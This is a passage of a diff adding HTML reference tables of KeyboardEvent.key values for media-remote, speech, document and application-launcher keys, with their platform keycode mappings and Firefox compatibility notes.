+  <tr>
+   <td><code>"FavoriteClear1"</code></td>
+   <td>Clears the program or content stored in the second favorites list slot.</td>
+   <td><code>VK_CLEAR_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear2"</code></td>
+   <td>Clears the program or content stored in the third favorites list slot.</td>
+   <td><code>VK_CLEAR_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear3"</code></td>
+   <td>Clears the program or content stored in the fourth favorites list slot.</td>
+   <td><code>VK_CLEAR_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall0"</code></td>
+   <td>Selects (recalls) the program or content stored in the first favorites list slot.</td>
+   <td><code>VK_RECALL_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall1"</code></td>
+   <td>Selects (recalls) the program or content stored in the second favorites list slot.</td>
+   <td><code>VK_RECALL_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall2"</code></td>
+   <td>Selects (recalls) the program or content stored in the third favorites list slot.</td>
+   <td><code>VK_RECALL_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall3"</code></td>
+   <td>Selects (recalls) the program or content stored in the fourth favorites list slot.</td>
+   <td><code>VK_RECALL_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore0"</code></td>
+   <td>Stores the current program or content into the first favorites list slot.</td>
+   <td><code>VK_STORE_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore1"</code></td>
+   <td>Stores the current program or content into the second favorites list slot.</td>
+   <td><code>VK_STORE_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore2"</code></td>
+   <td>Stores the current program or content into the third favorites list slot.</td>
+   <td><code>VK_STORE_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore3"</code></td>
+   <td>Stores the current program or content into the fourth favorites list slot.</td>
+   <td><code>VK_STORE_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Guide"</code></td>
+   <td>Toggles the display of the program or content guide.</td>
+   <td><code>VK_GUIDE</code></td>
+   <td></td>
+   <td><code>Qt::Key_Guide</code> (0x0100011A)</td>
+   <td><code>KEYCODE_GUIDE</code> (172)</td>
+  </tr>
+  <tr>
+   <td><code>"GuideNextDay"</code></td>
+   <td>If the guide is currently displayed, this button tells the guide to display the next day's content.</td>
+   <td><code>VK_NEXT_DAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GuidePreviousDay"</code></td>
+   <td>If the guide is currently displayed, this button tells the guide to display the previous day's content.</td>
+   <td><code>VK_PREV_DAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Info"</code></td>
+   <td>Toggles the display of information about the currently selected content, program, or media.</td>
+   <td><code>VK_INFO</code></td>
+   <td></td>
+   <td><code>Qt::Key_Info</code> (0x0100011B)</td>
+   <td><code>KEYCODE_INFO</code> (165)</td>
+  </tr>
+  <tr>
+   <td><code>"InstantReplay"</code></td>
+   <td>Tellls the device to perform an instant replay (typically some form of jumping back a short amount of time then playing it again, possibly but not usually in slow motion).</td>
+   <td><code>VK_INSTANT_REPLAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Link"</code></td>
+   <td>Opens content liniked to the current program, if available and possible.</td>
+   <td><code>VK_LINK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ListProgram"</code></td>
+   <td>Lists the current program.</td>
+   <td><code>VK_LIST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LiveContent"</code></td>
+   <td>Toggles a display listing currently available live content or programs.</td>
+   <td><code>VK_LIVE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Lock"</code></td>
+   <td>Locks or unlocks the currently selected content or pgoram.</td>
+   <td><code>VK_LOCK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MediaApps"</code></td>
+   <td>Presents a list of media applications, such as photo viewers, audio and video players, and games. [1]</td>
+   <td><code>VK_APPS</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MediaAudioTrack"</code></td>
+   <td>The Audio Track key.</td>
+   <td></td>
+   <td></td>
+   <td>GDK_KEY_AudioCycleTrack (0x1008FF9B)<br>
+    <code>Qt::Key_AudioCycleTrack</code> (0x01000106)</td>
+   <td><code>KEYCODE_MEDIA_AUDIO_TRACK</code> (222)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaLast"</code></td>
+   <td>Jumps back to the last-viewed content, program, or other media.</td>
+   <td><code>VK_LAST</code></td>
+   <td></td>
+   <td><code>Qt::Key_MediaLast</code> (0x0100FFFF)</td>
+   <td><code>KEYCODE_LAST_CHANNEL</code> (229)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaSkipBackward"</code></td>
+   <td>Skips backward to the previous content or program.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_BACKWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaSkipForward"</code></td>
+   <td>Skips forward to the next content or program.</td>
+   <td><code>VK_SKIP</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_FORWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStepBackward"</code></td>
+   <td>Steps backward to the previous content or program.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_STEP_BACKWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStepForward"</code></td>
+   <td>Steps forward to the next content or program.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_FORWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaTopMenu"</code></td>
+   <td>Top Menu button; opens the media's main menu, such as on a DVD or Blu-Ray disc.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_TopMenu</code> (0x0100010A)</td>
+   <td><code>KEYCODE_MEDIA_TOP_MENU</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateIn"</code></td>
+   <td>Navigates into a submenu or option.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_IN</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateNext"</code></td>
+   <td>Navigates to the next item.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_NEXT</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateOut"</code></td>
+   <td>Navigates out of the current screen or menu.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_OUT</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigatePrevious"</code></td>
+   <td>Navigates to the previous item.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_PREVIOUS</code></td>
+  </tr>
+  <tr>
+   <td><code>"NextFavoriteChannel"</code></td>
+   <td>Cycles to the next channel in the favorites list.</td>
+   <td><code>VK_NEXT_FAVORITE_CHANNEL</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"NextUserProfile"</code></td>
+   <td>Cycles to the next saved user profile, if this feature is supported and multiple profiles exist.</td>
+   <td><code>VK_USER</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"OnDemand"</code></td>
+   <td>Opens the user interface for selecting on demand content or programs to watch.</td>
+   <td><code>VK_ON_DEMAND</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Pairing"</code></td>
+   <td>Starts the process of pairing the remote with a device to be controlled.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PAIRING</code> (225)</td>
+  </tr>
+  <tr>
+   <td><code>"PinPDown"</code></td>
+   <td>A button to move the picture-in-picture view downward.</td>
+   <td><code>VK_PINP_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPMove"</code></td>
+   <td>A button to control moving the picture-in-picture view.</td>
+   <td><code>VK_PINP_MOVE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPToggle"</code></td>
+   <td>Toggles display of th epicture-in-picture view on and off.</td>
+   <td><code>VK_PINP_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPUp"</code></td>
+   <td>A button to move the picture-in-picture view upward.</td>
+   <td><code>VK_PINP_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedDown"</code></td>
+   <td>Decreases the media playback rate.</td>
+   <td><code>VK_PLAY_SPEED_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedReset"</code></td>
+   <td>Returns the media playback rate to normal.</td>
+   <td><code>VK_PLAY_SPEED_RESET</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedUp"</code></td>
+   <td>Increases the media playback rate.</td>
+   <td><code>VK_PLAY_SPEED_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RandomToggle"</code></td>
+   <td>Toggles random media (also known as "shuffle mode") on and off.</td>
+   <td><code>VK_RANDOM_TOGGLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRandomPlay</code> (0x1008FF99)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RcLowBattery"</code></td>
+   <td>A code sent when the remote control's battery is low. This doesn't actually correspond to a physical key at all.</td>
+   <td><code>VK_RC_LOW_BATTERY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RecordSpeedNext"</code></td>
+   <td>Cycles among the available media recording speeds.</td>
+   <td><code>VK_RECORD_SPEED_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RfBypass"</code></td>
+   <td>Toggles radio frequency (RF) input bypass mode on and off. RF bypass mode passes RF input directly to the RF output without any processing or filtering.</td>
+   <td><code>VK_RF_BYPASS</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ScanChannelsToggle"</code></td>
+   <td>Toggles the channel scan mode on and off; this is a mode which flips through channels automatically until the user stops the scan.</td>
+   <td><code>VK_SCAN_CHANNELS_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ScreenModeNext"</code></td>
+   <td>Cycles through the available screen display modes.</td>
+   <td><code>VK_SCREEN_MODE_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Settings"</code></td>
+   <td>Toggles display of the device's settings screen on and off.</td>
+   <td><code>VK_SETTINGS</code></td>
+   <td></td>
+   <td><code>Qt::Key_Settings</code> (0x0100011C)</td>
+   <td><code>KEYCODE_SETTINGS</code></td>
+  </tr>
+  <tr>
+   <td><code>"SplitScreenToggle"</code></td>
+   <td>Toggles split screen display mode on and off.</td>
+   <td><code>VK_SPLIT_SCREEN_TOGGLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_SplitScreen (</code>0x1008FF7D)<br>
+    <code>Qt::Key_SplitScreen</code> (0x010000ED)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"STBInput"</code> [3]</td>
+   <td>Cycles among input modes on an external set-top box (STB).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_STB_INPUT</code> (180)</td>
+  </tr>
+  <tr>
+   <td><code>"STBPower"</code> [3]</td>
+   <td>Toggles on and off an external STB.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_STB_POWER</code> (179)</td>
+  </tr>
+  <tr>
+   <td><code>"Subtitle"</code></td>
+   <td>Toggles the display of subtitles on and off if they're available.</td>
+   <td><code>VK_SUBTITLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Subtitle</code> (0x1008FF9A)</td>
+   <td><code>KEYCODE_CAPTIONS</code> (175)</td>
+  </tr>
+  <tr>
+   <td><code>"Teletext"</code></td>
+   <td>Toggles display of {{interwiki("wikipedia", "teletext")}}, if available.</td>
+   <td><code>VK_TELETEXT</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TELETEXT</code> (233)</td>
+  </tr>
+  <tr>
+   <td><code>"VideoModeNext"</code> [3]</td>
+   <td>Cycles through the available video modes.</td>
+   <td><code>VK_VIDEO_MODE_NEXT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Next_VMode</code> (0x1008FE22)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Wink"</code></td>
+   <td>Causes the device to identify itself in some fashion, such as by flashing a light, briefly changing the brightness of indicator lights, or emitting a tone.</td>
+   <td><code>VK_WINK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ZoomToggle"</code> [2]</td>
+   <td>Toggles between full-screen and scaled content display, or otherwise change the magnification level.</td>
+   <td><code>VK_ZOOM</code> (0xFB)</td>
+   <td></td>
+   <td><code>Qt::Key_Zoom</code> (0x01020006)</td>
+   <td><code>KEYCODE_TV_ZOOM_MODE</code> (255)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Don't confuse the media controller <code>VK_APPS</code> key with the Windows <code>VK_APPS</code> key, which is also known as <code>VK_CONTEXT_MENU</code>. That key is encoded as <code>"ContextMenu"</code>.</p>
+
+<p>[2] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier identify the zoom toggle button as <code>"Zoom"</code>. Firefox 37 corrects this to <code>"ZoomToggle"</code>.</p>
+
+<p>[3] These keys were <code>"Unidentified"</code> until Firefox 37.</p>
+
+<h2 id="Speech_recognition_keys">Speech recognition keys</h2>
+
+<p>These special multimedia keys are used to control speech recognition features.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"SpeechCorrectionList"</code> [1]</td>
+   <td>Presents a list of possible corrections for a word which was incorrectly identified.</td>
+   <td><code>APPCOMMAND_CORRECTION_LIST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SpeechInputToggle"</code> [2]</td>
+   <td>Toggles between dictation mode and command/control mode. This lets the speech engine know whether to interpret spoken words as input text or as commands.</td>
+   <td><code>APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] The <code>APPCOMMAND_CORRECTION_LIST</code> command on Windows generates <code>"Unidentified"</code> on Firefox.</p>
+
+<p>[2] The <code>APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE</code> command on Windows generates <code>"Unidentified"</code> on Firefox.</p>
+
+<h2 id="Document_keys">Document keys</h2>
+
+<p>These keys control documents. In the specification, they're included in other sets of keys, such as the media keys, but they make more sense when considered to be their own category.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Close"</code> [1]</td>
+   <td>Closes the current document or message. Must not exit the application.</td>
+   <td><code>APPCOMMAND_CLOSE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Close</code> (0x1008FF56)<br>
+    <code>Qt::Key_Close</code> (0x010000CE)</td>
+   <td><code>KEYCODE_MEDIA_CLOSE</code> (128)</td>
+  </tr>
+  <tr>
+   <td><code>"New"</code> [1]</td>
+   <td>Creates a new document or message.</td>
+   <td><code>APPCOMMAND_NEW</code></td>
+   <td></td>
+   <td><code>GDK_KEY_New</code> (0x1008FF68)<br>
+    <code>Qt::Key_New</code> (0x01000120)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Open"</code> [1]</td>
+   <td>Opens an existing document or message.</td>
+   <td><code>APPCOMMAND_OPEN</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Open</code> (0x1008FF6B)<br>
+    <code>Qt::Key_Open</code> (0x01000121)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Print"</code></td>
+   <td>Prints the current document or message.</td>
+   <td><code>APPCOMMAND_PRINT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Print</code> (0xFF61)<br>
+    <code>Qt::Print</code> (0x01000009)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Save"</code> [1]</td>
+   <td>Saves the current document or message.</td>
+   <td><code>APPCOMMAND_SAVE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Save</code> (0x1008FF77)<br>
+    <code>Qt::Key_Save</code> (0x010000EA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SpellCheck"</code> [1]</td>
+   <td>Starts spell checking the current document.</td>
+   <td><code>APPCOMMAND_SPELL_CHECK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Spell</code> (0x1008FF7C)<br>
+    <code>Qt::Key_Spell</code> (0x010000EC)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailForward"</code> [1]</td>
+   <td>Opens the user interface to forward a message.</td>
+   <td><code>APPCOMMAND_FORWARD_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_MailForward</code> (0x1008FF90)<br>
+    <code>Qt::Key_MailForward</code> (0x010000FB)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailReply"</code> [1]</td>
+   <td>Opens the user interface to reply to a message.</td>
+   <td><code>APPCOMMAND_REPLY_TO_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Reply</code> (0x1008FF72)<br>
+    <code>Qt::Key_Reply</code> (0x010000E5)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailSend"</code> [1]</td>
+   <td>Sends the current message.</td>
+   <td><code>APPCOMMAND_SEND_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Send</code> (0x1008FF7B)<br>
+    <code>Qt::Key_Send</code> (0x010000EB)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Prior to Firefox 37, this key generated the key value <code>"Unidentified"</code>.</p>
+
+<h2 id="Application_selector_keys">Application selector keys</h2>
+
+<p>Some keyboards offer special keys for launching or switching to certain common applications. Key values for those are listed here.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"LaunchCalculator"</code> [5]</td>
+   <td>The <kbd>Calculator</kbd> key, often labeled with an icon. This is often used as a generic application launcher key (<code>APPCOMMAND_LAUNCH_APP2</code>).</td>
+   <td><code>APPCOMMAND_LAUNCH_APP2</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Calculator</code> (0x1008FF1D)<br>
+    <code>Qt::Key_Calculator</code> (0x010000CB)</td>
+   <td><code>KEYCODE_CALCULATOR</code> (210)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchCalendar"</code> [5]</td>
+   <td>The <kbd>Calendar</kbd> key, often labeled with an icon.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Calendar</code> (0x1008FF20)<br>
+    <code>Qt::Key_Calendar</code> (0x010000E4)</td>
+   <td><code>KEYCODE_CALENDAR</code> (208)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchContacts"</code></td>
+   <td>The <kbd>Contacts</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_CONTACTS</code> (207)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMail"</code></td>
+   <td>The <kbd>Mail</kbd> key. This is often displayed with an icon.</td>
+   <td><code>VK_LAUNCH_MAIL</code> (0xB4)<br>
+    <code>APPCOMMAND_LAUNCH_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Mail</code> (0x1008FF19)<br>
+    <code>Qt::Key_LaunchMail</code> (0x010000A0)</td>
+   <td><code>KEYCODE_ENVELOPE</code> (65)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMediaPlayer"</code> [1]</td>
+   <td>The <kbd>Media Player</kbd> key.</td>
+   <td><code>VK_LAUNCH_MEDIA_SELECT</code> (0xB5)<br>
+    <code>APPCOMMAND_LAUNCH_MEDIA_SELECT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_CD</code> (0x1008FF53)<br>
+    <code>GDK_KEY_Video</code> (0x1008FF87)<br>
+    <code>GDK_KEY_AudioMedia</code> (0x1008FF32)<br>
+    <code>Qt::Key_LaunchMedia</code> (0x010000A1)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMusicPlayer"</code> [5]</td>
+   <td>The <kbd>Music Player</kbd> key, often labeled with an icon.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Music</code> (0x1008FF92)<br>
+    <code>Qt::Key_Music</code> (0x010000FD)</td>
+   <td><code>KEYCODE_MUSIC</code> (209)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMyComputer"</code> [5]</td>
+   <td>The <kbd>My Computer</kbd> key on Windows keyboards. This is often used as a generic application launcher key (<code>APPCOMMAND_LAUNCH_APP1</code>).</td>
+   <td><code>APPCOMMAND_LAUNCH_APP1</code></td>
+   <td></td>
+   <td><code>GDK_KEY_MyComputer</code> (0x1008FF33)<br>
+    <code>GDK_KEY_Explorer</code> (0x1008FF5D)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchPhone"</code></td>
+   <td>The <kbd>Phone</kbd> key, to open the phone dialer application if one is present.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Phone</code> (0x1008FF6E)<br>
+    <code>Qt::Key_Phone</code> (0x010000E3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchScreenSaver"</code> [5]</td>
+   <td>The <kbd>Screen Saver</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ScreenSaver</code> (0x1008FF2D)<br>
+    <code>Qt::Key_ScreenSaver</code> (0x010000BA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchSpreadsheet"</code> [4]</td>
+   <td>The <kbd>Spreadsheet</kbd> key. This key may be labeled with an icon.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Excel</code> (0x1008FF5C)<br>
+    <code>Qt::Key_Excel</code> (0x010000D4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWebBrowser"</code> [4]</td>
+   <td>The <kbd>Web Browser</kbd> key. This key is frequently labeled with an icon.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WWW</code> (0x1008FF2E)<br>
+    <code>Qt::Key_WWW</code> (0x010000BB)</td>
+   <td><code>KEYCODE_EXPLORER</code> (64)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWebCam"</code> [5]</td>
+   <td>The <kbd>WebCam</kbd> key. Opens the webcam application.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WebCam</code> (0x1008FF8F)<br>
+    <code>Qt::Key_WebCam</code> (0x010000FA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWordProcessor"</code> [5]</td>
+   <td>The <kbd>Word Processor</kbd> key. This may be an icon of a specific word processor application, or a generic document icon.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Word</code> (0x1008FF89)<br>
+    <code>Qt::Key_Word</code> (0x010000F4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication1"</code> [2]</td>
+   <td>The first generic application launcher button.</td>
+   <td><code>VK_LAUNCH_APP1</code> (0xB6)<br>
+    <code>APPCOMMAND_LAUNCH_APP1</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch0</code> (0x1008FF40)<br>
+    <code>Qt::Key_Launch0</code> (0x010000A2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication2"</code> [3]</td>
+   <td>The second generic application launcher button.</td>
+   <td><code>VK_LAUNCH_APP2</code> (0xB7)<br>
+    <code>APPCOMMAND_LAUNCH_APP2</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch1</code> (0x1008FF41)<br>
+    <code>Qt::Key_Launch1</code> (0x010000A3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication3"</code></td>
+   <td>The third generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch2</code> (0x1008FF42)<br>
+    <code>Qt::Key_Launch2</code> (0x010000A4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication4"</code></td>
+   <td>The fourth generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch3</code> (0x1008FF43)<br>
+    <code>Qt::Key_Launch3</code> (0x010000A5)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication5"</code></td>
+   <td>The fifth generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch4</code> (0x1008FF44)<br>
+    <code>Qt::Key_Launch4</code> (0x010000A6)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication6"</code></td>
+   <td>The sixth generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch5</code> (0x1008FF45)<br>
+    <code>Qt::Key_Launch5</code> (0x010000A7)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication7"</code></td>
+   <td>The seventh generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch6</code> (0x1008FF46)<br>
+    <code>Qt::Key_Launch6</code> (0x010000A8)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication8"</code></td>
+   <td>The eighth generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch7</code> (0x1008FF47)<br>
+    <code>Qt::Key_Launch7</code> (0x010000A9)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication9"</code></td>
+   <td>The ninth generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch8</code> (0x1008FF48)<br>
+    <code>Qt::Key_Launch8</code> (0x010000AA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication10"</code></td>
+   <td>The 10th generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch9</code> (0x1008FF49)<br>
+    <code>Qt::Key_Launch9</code> (0x010000AB)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication11"</code></td>
+   <td>The 11th generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchA</code> (0x1008FF4A)<br>
+    <code>Qt::Key_LaunchA</code> (0x010000AC)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication12"</code></td>
+   <td>The 12th generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchB</code> (0x1008FF4B)<br>
+    <code>Qt::Key_LaunchB</code> (0x010000AD)</td>
